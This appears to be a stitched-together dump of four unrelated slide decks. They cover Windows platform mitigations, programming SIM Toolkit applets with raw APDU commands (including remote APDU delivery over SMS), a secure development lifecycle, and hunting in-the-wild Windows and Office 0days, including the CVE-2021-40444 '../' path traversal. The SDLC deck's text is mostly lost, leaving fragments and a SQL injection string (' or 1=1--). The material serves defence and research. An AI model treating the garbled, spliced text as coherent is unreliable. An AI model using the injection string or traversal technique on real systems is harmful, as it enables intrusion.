调用点和调用目标具有相同数量的参数,参数与返回值类型相同 C++ 虚拟方法只能调用在自己的类层次结构中具备相同名称和类型的方法 无法调用错误类型的重载方法 无法调用来自其他类层次结构的方法 无法调用同一层次结构中类型相同但名称不同的方法 这已经不仅仅是近似 CFG,而是比它更强大 但是要注意:哈希函数的使用意味着技术上来看,有存在碰撞的可能,但对于大约 55 位哈希来说,可能性微乎其微(从实用性的角度来看尤其如此) 改善控制流完整性 控制流面临的挑战 危险的调用目 标 不受保护的栈 数据流破坏 1 2 3 影子栈保护 最初曾尝试以软件形式实现栈保护但失败了 OSR 以软件形式设计的影子栈(RFG)未能通过内部的攻击研究 控制流实施技术(CET) 可通过影子栈返回地址保护 通过硬件协助缓解控制流劫持和 ROP 在我们的威胁模型中体现出健壮性(在任意地址读写的前提下) 反向控制流 CET 影子栈流程: 函数调用时同时把返回地址压到两个栈里 Ret/ret_imm 同时弹出在两个栈上的返回地址 如果返回地址不匹配则抛出异常 无需为影子栈传递参数 Return EIPn-1 Param 1 Param 2 Return EIPn Return EIPn-1 Return EIPn 调用前后对栈的使用 调用 后的 ESP 调用 后的 SSP +0 +4 控制流面临的挑战 危险的调用目 标 不受保护的栈 数据流破坏 1 2 3 隆重介绍:内核数据保护 问题:对 Windows 内核的利用可通过损坏的数据 获得特权提升 目前状态:基于 Hypervisor 的代码完整性,可防 止动态代码注入并强制实施签名策略 仅仅阻止代码还不够,内核还包含了很多敏感数据 结构 内核数据保护(KDP)使用安全内核使敏感数据无 法被修改 数据损坏保护 CVE-2016-7256 利用:利用Open type 字体进行权限提升 破坏代码完整性相关的全局变量(来源:FuzzySec) 数据损坏保护 管理员 静态数据 动态数据 VBOX Capcom CPU-Z 攻击者进程 NTSTATUS MmProtectDriver ( _In_ PVOID AddressWithinSection, _In_ ULONG Size, _In_opt_ ULONG Flags); 内核数据保护: 用于执行只读池分配的机制 启用 VBS 后可获得只读页表项的 Hypervisor 保护 通过验证机制让调用方检测自己所引用的内存是否为受保护的池分配 所有应用和系统组件仅具备必须的特权。 隆重介绍:Admin-less Admin-less S 模式禁止权限提升 新的标准用户类型可进行某些影响整个设备的改动 标准用户可以更轻松地实现安全性 “Admin Less”模式 恶意代码无法在设备上存留。 固件安全问题 ESET 发现 SEDNIT/APT28 UEFI 恶意软件 通过 SMM 攻击绕过 VBS “ThinkPWN” 对联想固件的利用 System Guard 与 DRTM 相配合 利用 DRTM(Intel、AMD、QC)通过 Microsoft MLE 执行 TCB 测量 对 UEFI 的“假定入侵”并通过从硬件引导的 MLE 对关键代码和数据进行判定和封印 被测量的值: 代码完整性策略 Hypervisor、内核哈希 UEFI 变量 其他… 零信任 判定 PCR 和 TCG 日志中的密钥属性 通过 System Guard 运行时认证 + Microsoft Conditional Access + WDATP,证 实 TCB 组件的安全性 SMM 攻击 可用于篡改 HV 和 SK post-MLE SMM 换页保护 + 认证 正在计划中 提高引导过程的安全性 提高引导过程的安全性 System Guard 与 DRTM 的配合 外部 研究人员 和 OSR REDTEAM 强调了 SMM 对 DRTM 和 VBS 的风险 SMRAM 中任意代码的执行,可被用于攻击 Hypervisor SMM 中运行的恶意代码非常难以检测 提高引导过程的安全性 OSR REDTEAM 所用的 SMM 弱 点,已报告给联想 缓解对 SMM 的利用 Intel Runtime BIOS resilience 为 SMM 提供了如下安全保 护: SMM 入口点锁定 SMM 内所有代码锁定 内存映射和页面属性锁定 无法直接从 SMM 访问 OS 和 HV 内存 保护 SMM SMM 页 表 SMI 句柄 SMM BootCode/BootData MMIO SMRAM Reserved ACPINvs RuntimeCode/RuntimeD ata ACPI Reclaim BootCode/BootData LoaderCode/LoaderData SMM 换页审核 SMM 保护 随意通过物理方式访问的攻击者,无法修改设 备上的数据或代码。 日益普遍的物理攻击 使用 Logic Analyzer 提取 LPC/SPI TPM VMK 密钥 来源:1, 2, 3 Bitlocker 冷启动攻击 来源:1 使用 PCILeech 进行 DMA 攻击 来源:1, 2 安全目标 防止经由恶意 DMA 攻击所发起的物理攻击对驱动器进行 “evil cleaner” 设计细节 使用 IOMMU 阻止新附加的 Thunderbolt™ 3 设备,在用户 登录前禁止进行 DMA 访问 UEFI 可启用 IOMMU 和 BME,该机制可在 Windows 引导 前的早期引导阶段生效(参阅 Project Mu) 对于兼容的设备驱动程序,自动启用 DMA 重映射 后续版本中,我们将进一步加固对所有外部 PCI 端口和 cross-silicon 平台的保护 Windows DMA 保护 Connect peripheral New devices are enumerated and functioning OS User Peripheral Drivers opted- in DMAr? Yes Enable DMAr for the peripherals No User logged in AND Screen unlocked? No Wait for user to login/ unlock screen Yes Locked device Encryption key is removed from memory Encryption key is recomputed using user entropy 通过加密锁实现的Windows 数据保护 每文件加密为存储后的文件提供了额外的保护 密钥可从用户的秘密(Hello、生物特征)中生成 Unlocked device Messages Encrypted, key discarded upon lock Passwords, credit card info Health data Documents and photos App1 Data App2 Data App3 Data Encrypted, key discarded upon shutdown App1 App2 App3 Unenlightened Apps Messaging Apps Edge Health Mail, Photos, Documents , etc. Enlightened Apps BitLocker 保护的承诺 用户标识无法被攻陷、嗅探或盗窃。 Windows Hello 和 NGC 提供生物特征身份验证和硬件支撑的密钥存储 PIN 容易受到恶意管理员的输入过程攻击 改善标识的安全性 未来版本的 Windows 将包含由虚拟化技术支持的生物 特征加固技术 可通过虚拟化技术对数据路径进行生物特征加固 可加固身份证明的发布 改善标识的安全性 Sensor Adapter Biometric Unit Engine Adapter Feature Extraction Template Construction Storage Adapter Sensor Driver Windows Biometric Framework Template DB Spoofs Replay Leak/Inject Replay Leak/Injec t Modify templates Template injection Modify match result Add unauthorize d templates Inject match event Replay Steal TPM authblob Windows Hello Attack Surface Sensor Driver Template DB Engine Adapter Feature Extraction Template Construction Sensor Adapter Storage Adapter bioIso.exe Secure Driver Windows Hello Attack Surface Sensor Adapter Biometric Unit Engine Adapter Feature Extraction Template Construction Storage Adapter Sensor Driver Template DB Spoofs Replay Leak/Inject Replay Leak/Injec t Modify templates Template injection Modify match result Add unauthorize d templates Inject match event Replay Steal TPM authblob 不只是密码 违反承诺的举措会被立即发现。 Windows 的平台篡改检测 在设备引导和持续运行过程中均可检测篡改 按照设计可用于对设备运行状况进行远程评估 从平台层面实现可让大量第三方和应用场景获益 来源于硬件的设备信任 利用 VBS 安全边界提高反篡改的标准 在 Windows 的基础上构建篡改检测架构面临诸多挑战 可扩展的平台组件可通过随后公开发布的 API 进行使用 Windows 对篡改一览无余 1 2 3 Admin EPROCESS Driver Dispatch Process Mitigations VBOX Capcom CPU-Z Attacker Process 总结 平台功能正在快速变化 为了更好地应对新式攻击,Windows 也在快速变革 宏大的目标在于跨越不断成长的威胁模型提供更强大的保障 欢迎研究人员和社区帮我们继续完善 漏洞赏金和征集缓解措施的项目非常重要 我们希望与中国及更多地区的研究人员群体共同努力,更好地了解 当前和未来的攻击 Windows 需要整个社区
pdf
Karl Koscher – @supersat Eric Butler – @codebutler Rev: July 8, 2013 Updated slides available from defcon.org and http://simhacks.github.io/  Applications live on your SIM card  Phones are dumb hosts – UI and connectivity only  Telcos own the SIMs, so they control the applications 2  These are called SIM Toolkit (STK) applications  Used widely in the developing world  Mobile banking, etc.  Very little documentation on how they work, or how to develop them 3  Toorcamp 2012 had its own GSM network  SIM cards supported SIM Toolkit, so why not explore it?  After lots of research, finally figured out how to program the *#$!ing things  Learn from our misery 4  SIM cards are a lot more powerful than you might have imagined  Development of STK apps is the same as Java Cards – you can use unlocked STK SIMs as cheap smart card development platforms  Maybe if people care enough, SIMs can be better utilized (e.g. secure storage of SSH keys, BitCoins, phone decryption keys) 5  Rudimentary UI – display text, menus, play tones, read input  Send SMSes, initiate calls, initiate and use data services  Receive and act on events, such as call connected, call disconnected, etc.  Interact with the rest of the SIM card  Run arbitrary AT commands on the phone 6  Working our way up the technology stack:  Smart cards  Java Card  GlobalPlatform  SMS  SIM Toolkit API 8  ISO 7816-1: Physical characteristics  ISO 7816-2: Electrical contacts  ISO 7816-3: Electrical interface, Transmission Protocol Data Units (TPDUs)  T=0: Byte-oriented protocol  T=1: Block-oriented protocol  ISO 7816-4: Standard commands, Application Protocol Data Units (APDUs)  ISO 14443-4: “T=CL”: APDUs over RFID Smart Card Pinout from Wikimedia Commons: https://en.wikipedia.org/wiki/File:SmartCardPinout.svg 9  Command APDU 10 Class MSB LSB Instruction Param 1 Param 2 Data Length Length Expected Optional Command Dependent Standard structure and CLS/INS - RFU - Standard structure, custom INS, standard CLS Standard unless spec’d by context - Standard structure, custom CLS/INS - Custom B3 B2 B1 B0 Meaning when CLS=0X,8X,9X,AX X X Secure Messaging Format 0 X No 7816-4 SM 0 0 No SM 0 1 Proprietary SM 1 X 7816-4 SM 1 0 Command header not auth’d 1 1 Command header auth’d X X Logical chan num http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4_5_basic_organizations.aspx  Command APDU 11 Class MSB LSB Instruction Param 1 Param 2 Data Length Length Expected Optional Command Dependent http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4_5_basic_organizations.aspx INS (CLS=0X, AX) 0E ERASE BINARY 20 VERIFY 70 MANAGE CHANNEL 82 EXTERNAL AUTHENTICATE 84 GET CHALLENGE 88 INTERNAL AUTHENTICATE A4 SELECT FILE B0 READ BINARY B2 READ RECORD(S) C0 GET RESPONSE INS (CLS=0X, AX) C2 ENVELOPE CA GET DATA D0 WRITE BINARY D2 WRITE RECORD D6 UPDATE BINARY DA PUT DATA DC UPDATE DATA E2 APPEND RECORD INS (Any class) 6X Prohibited 9X Prohibited  Response APDU 12 Optional Status Word 1 Status Word 2 SW1 Error 61 SW2 bytes still available 62 NVM unchanged 63 NVM changed 64 NVM unchanged 65 NVM changed 66 Security issue 67 Wrong length 68 Functions in CLS not supported 69 Command not allowed 6A Wrong parameter 6B Wrong parameter 6C Wrong Le: SW2 is exact length 6D INS not supported or invalid 6E CLS not supported 6F Other/unknown SW1 Message 9X Success 90 Success – no additional info  Example: SELECT 1234  Response: 13 Class Instruction Param 1 Param 2 Data Length Length Expected Optional Status Word 1 Status Word 2  It’s Java!  … not really.  No garbage collection  No chars, no strings, no floats, no multi-dim arrays  ints are optional  No standard API, no threads, etc.  But there are Exceptions!  Instance and class variables are saved in EEPROM, which has limited write cycles 14  Two mandatory methods:  install (static) – creates your application object and registers it with the card manager  process – handles APDUs sent to the card ▪ Byte array in, byte array out ▪ Not all bytes are immediately available due to packing of APDUs in TPDUs! 15 16  There are specialized IDEs for this, but you can do without.  Download the Java Card Development Kit from Oracle (it’s free)  If you’re using Eclipse, remove the JRE system library and add the Java Card library 17  You must target Java 1.1 bytecode! 1.3 source code compatibility is okay.  After you have your .class files, you need to convert them to Java Card bytecode  Use the converter tool in the SDK  Need to specify application ID (more on this in a minute), API export directory, etc.  Now you have a CAP file, which is a ZIP archive of CAP components, which define your app 18  Eclipse settings: 19  $ javac -cp ../sim-tools/javacard/lib/api21.jar -target 1.1 -source 1.3 com/degdeg/HelloCard/HelloApplet.java  java -jar ../sim-tools/javacard/bin/converter.jar -exportpath ../sim-tools/javacard/api21_export_files -applet 0xde:0xfc:0x09:0x20:0x13:0x01 com.degdeg.HelloCard.HelloApplet com.degdeg.HelloCard 0xde:0xfc:0x09:0x20:0x13 1.0  We also have Makefiles for your convenience!  http://simhacks.github.io 20  Cards support multiple applications  Applications are selected by their AID  These are officially allocated, but you can make one up  There is an app on the card that is the card manager – use it to load your app  The card manager is defined by the GlobalPlatform spec 21  At this point, you might be able to use a tool like GPShell to load your app  No such luck on our SIM cards  Time to dig in to the GlobalPlatform specs! 22  All apps are loaded and authorized by the Issuer Security Domain – in practice this means that you can’t load apps onto a card you didn’t issue yourself :(  On pure GlobalPlatform cards, the ISD is the default app on pre-personalized cards  Accessing it on our SIM cards is a lot harder 23  Installing an app is a two-step process:  Load the binary  Instantiate the app  Loading an app first requires authorization through the INSTALL for load command  The individual CAP components are concatenated together and sent in blocks with LOAD 24  INSTALL for load: 80 E6 02 00 12 07 F0 F1 F2 F3 F4 F5 01 00 00 06 EF 04 C6 02 05 00 00  LOAD: 80 E8 00 00 6C C4 81 F7 01 00 11 DE CA FF ED 01 02 04 00 01 07 F0 F1 F2 F3 F4 F5 01 ...  LOAD: 80 E8 00 01 6C ...  LOAD: 80 E8 80 02 20 ... 25  To instantiate an app, issue the INSTALL for install command  There are THREE AIDs involved:  Application AID – associated with the load file  Module AID – associated with the main class  Instance AID – used to select a particular instance 26  INSTALL for install and make selectable: 80 E6 0C 00 36 07 F0 F1 F2 F3 F4 F5 01 08 F0 F1 F2 F3 F4 F5 01 01 08 F0 F1 F2 F3 F4 F5 01 01 01 00 18 EF 14 C8 02 05 00 C7 02 00 00 CA 0A 01 00 FF 00 10 01 00 00 00 00 C9 00 00 27  At install time, you can specify:  Initialization data  App parameters ▪ STK uses these extensively ▪ Privileges ▪ Priority ▪ Number of menu items ▪ Max menu item size 28  Other fun commands:  List AIDs, including both modules and instances  Delete AIDs ▪ You MUST delete instances before deleting the executable! ▪ You MUST delete old AIDs before reusing them!  The spec is freely available 29  The SIMalliance has a free tool called the SIM Alliance Loader that can be used to program SIMs  It didn’t work out of the box on our SIM cards  It is clearly designed for experts  If you know how to configure it, and you use Windows, it will work with our SIM cards 30  The only way to talk to the SIM’s ISD is through the over-the-air update mechanism  i.e. SMS packets  Can also be used to send arbitrary APDUs!  We don’t have to actually send SMSes, but we need to generate commands to the card with SMS packets 31  CAT ENVELOPE (A0 C2)  SMS-PP Download (D1) ▪ Device Identities ▪ SMS-TPDU (GSM 03.40) ▪ Header ▪ User Data  Header  Command Packet  Header (Security parameters, app selection)  Uses a 3 byte TAR ID  Holy shit powerpoint supports this much nesting  This is the actual limit  APDU  http://adywicaksono.wordpress.com/2008/05/21/unde rstanding-gsm-0348/ 32  Remember this INSTALL command? 80 E6 02 00 12 07 F0 F1 F2 F3 F4 F5 01 00 00 06 EF 04 C6 02 05 00 00 A0 C2 00 00 43 D1 41 82 02 83 81 8B 3B 40 08 81 55 66 77 88 7F F6 00 11 29 12 00 00 04 2A 02 70 00 00 25 0D 00 00 00 00 00 00 00 00 00 00 00 01 00 80 E6 02 00 12 07 F0 F1 F2 F3 F4 F5 01 00 00 06 EF 04 C6 02 05 00 00 33  In case you missed it, you can use this exact mechanism to remotely send APDUs to a SIM card(!!!) 34  Open-source Python script to manage apps on SIM cards (plus other SIM card tools)  http://simhacks.github.io  DEMO! 35 Now that we’ve figured out how to build and load apps, let’s make some! 36  App is loaded onto the card  App registers itself with the SIM Toolkit API  Phone informs STK of its capabilities  STK informs the phone about registered apps  Selection of an app will trigger an event to be delivered to the app  App can then send UI requests back to phone 37  An STK app is also a Java Card app  install  process – not normally used  processToolkit method:  Handles STK events 38  Hello STK  Toorcamp 2012 Crypto Challenge App  Provided hints to the challenge ▪ Set tamper-proof hint flags ▪ We could remotely query these flags to find out if someone viewed a hint  DEMOS! 39  STK apps are pretty limited, but there is potential for awesomeness  SIM card botnet?  If phones provide an API to send APDUs to SIM apps, things will get really interesting  SSH private keys secured on your SIM?  Secure BitCoin transactions?  What else? ▪ Of course, we need carriers to get on board 40  Side-stepping the carriers: Android’s Secure Element  Yes, it ALSO supports JavaCard/GlobalPlatform!  Retail phones have non-default ISD keys :(  Come on Google, give us access! 41 Learn more and get the tools at: http://simhacks.github.io/ 42  Java Card 2.1.1 Virtual Machine Specification  GlobalPlatform card specification 2.1/2.2  GSM 03.48 – Secure remote SIM access  GSM 03.40 – SMS standard  ETSI TS 101 220 – Assigned numbers  ETSI TS 102 221 – UICC/(U)SIM spec  ETSI TS 102 223 – Card Application Toolkit  ETSI TS 102 226 – Remote APDUs  ETSI TS 102 241 – UICC/SIM API for JavaCard 43  http://adywicaksono.wordpress.com/2008/05 /21/understanding-gsm-0348/  http://wiki.thc.org/gsm/simtoolkit  http://randomoracle.wordpress.com/2013/01/ 28/using-the-secure-element-on-android- devices-33/ 44
pdf
1 (SSDLC) TWISC@NCKU 2 (SSDLC) 3 1-1 1-2 4 1-1 5 (System Development Life Cycle, SDLC) – (Define) • 6 – (Design) • – (Develop) • 7 – (Test) • – (Deploy) • 8 – (Maintain) • – (Change) • XXX… YYY… 9 SDLC v.s. SSDLC SDLC – – SQL Injection… SSDLC – 10 11 1-2 12 12 Web Web –– (SSDLC) (SSDLC) 13 2-1 2-2 2-3 2-4 2-5 2-6 2-7 14 2-1 15 16 – 1. 2. hacker 17 – 3. 4. 18 – 5. 6. N 1. (Define) 1.1 1.2 1.3 1.4 1.5 1.6 1.7 20 2-2 21 1 4 … 3 2 22 – • • – • 23 – • • • 24 – • • • – • • 25 N 2.1 (Design) 2.1.1 2.2 (Design) 2.2.1 2.3 (Design) 2.3.1 2.3.2 2.3.3 2.3.4 2.3.5 2.3.6 2.4 (Design) 2.4.1 2.4.2 2.4.3 SSL 26 2-3 27 Web II – • 28 – • – • aeg1423p mqi52le6 onhq4i6b 29 – • – • 30 – • – • 31 – • – • hacker 32 – • 33 N 3.1 (Develop) 3.1.1 SQL Injection 3.1.2 3.2 (Develop) 3.2.1 3.2.2 3.3 (Develop) 3.3.1 3.3.2 3.3.3 34 N 3.4 (Develop) 3.4.1 3.4.2 Default Accounts Passwords 3.4.3 3.5 (Develop) 3.5.1 3.5.2 3.5.3 3.6 (Develop) 3.6.1 3.6.2 3.6.3 Buffer Overflow 3.6.4 N 3.7 (Develop) 3.7.1 3.7.2 3.7.3 3.7.4 3.8 (Develop) 3.8.1 3.8.2 3.8.3 Session Validation Attacks 3.8.4 36 N 3.9 (Develop) 3.9.1 3.9.2 3.9.3 3.10 (Develop) 3.10.1 3.10.2 3.10.3 Brute-Forcing 3.10.4 37 2-4 38 – • • 39 – • • update OK 40 – • • • ID A123654827 41 N 4.1 (Test) 4.1.1 4.1.2 4.1.3 4.1.4 4.2 (Test) 4.2.1 4.2.2 4.3 (Test) 4.3.1 4.3.2 42 2-5 43 – • • XXXX….. YYYY….. 44 – • • • – • V.1.0 XXX… YYY…. V.2.0 XXX… YYY…. 45 N 5.1 (Deploy) 5.1.1 5.2.2 5.2.3 5.2 (Deploy) 5.2.1 5.2.2 5.2.3 5.3 (Deploy) 5.3.1 5.3.2 46 2-6 47 – RFP – – 48 N 6. (Maintain) 6.1 RFP 6.2 6.3 6.4 6.5 49 2-7 50 51 – • • – • • 52 – • • 1. 2. ? 0131( ) 53 – • • XXX… YYY…. 54 N 7.1 (Change) 7.1.1 7.1.2 7.2 (Change) 7.2.1 7.3 (Change) 7.3.1 7.3.2 7.3.3 7.4 (Change) 7.4.1 7.4.2 7.4.3 55 3-1 56 – – – – – Web Web 57 - Web – ASP, JSP... – Web – – ASP JSP PHP 58 - – – – ( VPN..) – 59 – – – – 60 – – – – 61 – – ( ) – • • … 62 - Web – SQL Injection – Web – (Backup test) – (Web Server configuration security test) – (Web Server application weakness test) ’ or 1=1-- 123 63 - – (Host weakness test) – (Host configuration Security test) – (Connection backup test) – (Fault-Tolerance test) – – 64 – – – 65 - Web – – – SQL Injection … • – – – 96.12.01 XXXX YYYY 97.01.01 AAA BBB 66 - – – – – IDS IPS – 67 - – • • – • • – • 6-8 aef539 68 – • – • – 69 – – – XXX YY 70 71 PPPP D D C C A A 72
pdf
猫 鼠 游 戏 如 何 进 行 W i n d o w s 平 台 在 野 0 d a y 狩 猎 金权 安恒信息 自我介绍 ➢ 金权(@jq0904/银雁冰) ➢ 安恒信息猎影/卫兵实验室高级安全专家 ➢ 研究方向 • Windows平台漏洞挖掘与利用 • Windows平台在野0day狩猎 ➢ 演讲经历 • Black Hat USA 2022 • HITB Amsterdam 2021 • Blue Hat Shanghai 2019 ➢ 40+ Microsoft/Adobe CVE致谢 (7次在野0day致谢) ➢ 2020~2022 MSRC TOP 100 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 背景 0 10 20 30 40 50 60 70 2018 2019 2020 2021 2022 最近5年全球在野0day披露数量及国内外占比 国内厂商披露 国外厂商披露 主要统计数据来源:0day "In the Wild" - Project Zero 背景 0 1 2 3 4 5 6 7 8 2018 2019 2020 2021 2022 最近5年中国厂商披露在野0day统计 360 安恒 腾讯 阿里巴巴 奇安信 Shadow Chaser Group 主要统计数据来源:0day "In the Wild" - Project Zero 背景 0 1 2 3 4 5 6 7 8 2018 2019 2020 2021 2022 我参与披露的在野0day 360 安恒 腾讯 阿里巴巴 奇安信 Shadow Chaser Group 主要统计数据来源:0day "In the Wild" - Project Zero 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 Office在野0day漏洞分类 ➢ 纯Office漏洞 ➢ 内存破坏漏洞:例如CVE-2015-1641,近几年此类漏洞攻击逐渐消失 ➢ 逻辑漏洞:沙虫漏洞(CVE-2014-4114),Moniker系列漏洞(CVE-2017-0199等) ➢ 以Office为载体的其他漏洞 ➢ Flash漏洞:随着Flash退役而消失 ➢ IE浏览器漏洞:随着IE退役逐渐减少,但攻击面仍在 ➢ .NET漏洞:CVE-2018-8759,个例 ➢ Windows系统漏洞:CVE-2014-4148等,不排除后面还会出现 趋势一:逻辑漏洞越来越多 内存漏洞缓解 机制日益完善 内存破坏漏洞 利用逐渐减少 逻辑漏洞 日渐增多 趋势二:远程加载漏洞利用的手法越来越流行 2014年 2017年 2018年 2020年 2021年 2022年 CVE-2014-4114 CVE-2017-0199 CVE-2017-8759 CVE-2018-5002 CVE-2018-8174 CVE-2018-15982 CVE-2020-0674 CVE-2021-40444 CVE-2022-30190 为何说沙箱适合狩猎Office在野0day 远程加载利用 成为主流 利用代码云控, 具有时效性 沙箱检测 静态提取URL 缺点1:RTF代码混淆 缺点2:请求时加密 优点:模拟实际交互 情况,可以做到全过 程记录,准确率高 为何说沙箱适合狩猎Office在野0day 逻辑漏洞一般 影响较多版本 沙箱环境制作 工作量较小 只需维护一个常 见Office版本的 全补丁镜像 沙箱能覆盖的Office在野0day狩猎场景 所有以Office为载体的在野0day场景 适用沙箱 狩猎的场景 可行的思路 ➢ 做一个全补丁Office环境镜像,将可疑样本投入沙箱,通过异常行为进行过滤 ➢ 环境制作:Windows 10 + Office 2019 (仅供参考) ➢ 异常行为 • Office进程启动可疑子进程(需过滤常见白名单) • 检测是否有异常地址处的指令访问敏感模块的导出表(即EAF) ➢ 做一些Office Nday环境镜像,在筛选0day时顺便标定一些被用于攻击的Nday(可选) ➢ 需要对Office历史漏洞进行深入研究 ➢ 静态标定:需要对抗RTF代码混淆,容易遗漏,可参考开源的quicksand项目 ➢ 动态标定:需要挂钩常见漏洞模块进行漏洞点Check,技术难度相比静态稍大 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 Windows本地提权在野0day漏洞分类 ➢ 内核提权漏洞(本议题重点讨论这类漏洞) ➢ 由Windows操作系统内核驱动程序的内存破坏引发的提权漏洞,例如: • CVE-2021-1732 win32kfull.sys驱动内核提权漏洞 ➢ 用户态提权漏洞 ➢ 由内存破坏漏洞导致的打印机提权漏洞,例如: • CVE-2020-0986 打印机提权漏洞 ➢ 逻辑提权漏洞 ➢ 例如COM提权漏洞和打印机逻辑提权漏洞,例如: • CVE-2017-0213 COM提权漏洞 Windows本地提权在野0day使用场景 1. 作为完整漏洞链的一部分,与浏览器等漏洞配合使用 ➢ 典型场景 • 以反射型DLL的方式内嵌在Office漏洞利用代码内,例如:CVE-2017-0263 • 以反射型DLL的方式内嵌在浏览器漏洞利用代码内,例如:CVE-2021-31956 • 前置漏洞利用成功后再从云端获取并解密使用,例如:CVE-2018-8453 2. 作为独立组件使用 ➢ 典型场景 • 下发单个提权组件,接收参数进行提权,例如:CVE-2021-1732 • 无需提供任何参数,直接执行当前程序提权,例如:CVE-2022-37969 不同场景需要不同的狩猎方法 作为完整利用 链的一部分 全程加密/云端 获取利用组件 EDR+专家团+ 现场取证 不同场景需要不同的狩猎方法 作为独立组件 进行使用 是否 加密/加壳 否(多数情况) 沙箱检测 是(少数情况) YARA YARA狩猎本地提权样本的其他优势 1. 漏洞利用代码运行前往往会进行操作系统版本/杀毒软件/沙箱环境检测 ➢ 商业化提权组件会确保其可靠性,避免非预期的蓝屏或被检测到(规避动态检测) 2. 攻击者经常使用一些经典漏洞利用手法 ➢ 这些手法随时间流逝具有一定连续性(具备较强的静态特征) • HMValidateHandle、Previous Mode等手法 3. 攻击者经常瞄准较为热门的漏洞模块 ➢ 例如Win32k驱动和CLFS驱动(热门模块的规则具有通用性) YARA能覆盖的Windows LPE在野0day狩猎场景 适用EDR 狩猎的场景 所有Windows本地提权在野0day场景 适用沙箱 狩猎的场 景 适用YARA 狩猎的场景 业界能力 范围外的场景 如何正确地编写YARA规则 1. 为漏洞利用各个阶段的特征编写规则 2. 为最新的漏洞和利用手法编写规则 3. 为最可能出现的漏洞编写规则 为漏洞利用各个阶段的特征编写规则 ➢ 通常,一个Windows内核本地提权漏洞利用包含以下阶段 ① 漏洞触发 ② 堆风水 ③ 内核信息泄露 ④ 任意地址读写 ⑤ 控制流劫持 ⑥ 权限提升 ➢ 基于每个阶段的通用特征写规则(详细可参考我Black Hat USA 2022的演讲) 为最新的漏洞和利用手法编写规则 ➢ 借助Pipe Attribute的任意地址读取 ➢ 2020年7月 “Scoop the Windows 10 pool!” Paul Fariello and Corentin Bayet of Synacktiv ➢ 借助WNF的任意地址读写 ➢ 2021年6月 “PuzzleMaker attacks with Chrome zero-day exploit chain” Kaspersky ➢ 2021年7月 “CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF)” Alex Plaskett ➢ 2021年7月 “Windows Pool OverFlow Exploit” YanZiShuang ➢ 我们基于此捕获了一些有价值的在野提权漏洞样本 ➢ 2021年10月 我们捕获了一个在野CLFS 1day,并发现了一个补丁绕过漏洞:CVE-2022-24481 ➢ 2022年4月 我们捕获了一个在野CVE-2021-31956样本,该样本可实现Chrome浏览器沙箱逃逸 为最可能出现的漏洞编写规则 ➢ 桌面窗口管理器(Desktop Window Manager/DWM)漏洞的例子 ➢ 2021年4月13日,卡巴斯基写了一篇博客,披露了CVE-2021-28310,这是一个Windows DWM 组件的在野0day • “Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild” ➢ 2021年5月3日,ZDI发布了一篇博客,博客中披露了另一个漏洞CVE-2021-26900,这也是一个 Windows DWM组件的漏洞 • “CVE-2021-26900: Privilege escalation via a use after free vulnerability in win32k” ➢ 2021年5月22日,我们捕获了一个Windows DWM组件的在野0day:CVE-2021-33739 目录 1. 背景 2. 用不同的方法解决不同的问题 ➢ 为什么沙箱适合狩猎Office在野0day ➢ 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 ➢ Office在野0day案例分析 ➢ Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 案例分析:CVE-2021-40444 ➢ 2021年9月微软披露的一个IE浏览器在野0day ➢ 在野样本借助WORD文档加载远程漏洞利用代码 ➢ 发现厂商:Mandiant, EXPMON, MSTIC WORD文档 HTML漏洞 利用代码 触发IE 逻辑漏洞 解压CAB文 件到特定 目录 加载CAB解 压得到的 DLL文件 执行载荷 代码 远程加载 加载IE组件 在野样本攻击流程 案例分析:CVE-2021-40444 ➢ 漏洞成因 ① CAB文件解压路径穿越:在catDirAndFile函数内犯两次错误 ② .CPL协议加载DLL ➢ 修复方案 ① 针对CAB路径穿越问题的修补 ② 针对.CPL协议加载DLL的修补 ➢ 详细分析报告 ➢ 《CVE-2021-40444 IE远程代码执行漏洞分析报告》 路径穿越:第一次犯错 ➢ 第一次犯错 ➢ 早期版本的catDirAndFile函数 (某早期版本的代码示意) • 红框内代码完全没有考虑路径穿越问题 路径穿越:第二次犯错 ➢ 第二次犯错:PathCchCanonicalizeA的缺陷 ➢ 某次安全更新后的catDirAndFile函数 • PathCchCanonicalizeA: 将当前路径转换为规范化路径 • 只能处理“..\”,无法处理“../” • PathIsPrefixA: 检查第二参数的路径是否是以第一参数的路径作为前缀 • BOOL PathIsPrefixA(LPCSTR pszPrefix, LPCSTR pszPath ); ➢ 检视PathIsPrefixA的校验情况 ➢ pszPrefix: C:\Users\test\AppData\Local\Temp\Cab13F2 ➢ 考虑pszPath的两种情况 ➢ 如果传入的路径中有“..\”, PathCchCanonicalizeA 会将其转化为当前路径的上级路径: • 转换前:C:\Users\test\AppData\Local\Temp\Cab13F2\..\championship.inf • 转换后:C:\Users\test\AppData\Local\Temp\championship.inf <- 校验失败,无法穿越 ➢ 如果传入的路径中有“../”, PathCchCanonicalizeA 不会将其转化为当前路径的上级路径: • 转换前: C:\Users\test\AppData\Local\Temp\Cab13F2\../championship.inf • 转换后:C:\Users\test\AppData\Local\Temp\Cab13F2\../championship.inf <- 校验 成功,可以穿越 路径穿越:第二次犯错 ➢ CVE-2021-40444的补丁 ➢ 第二次修复后的PathCchCanonicalizeA函数 • 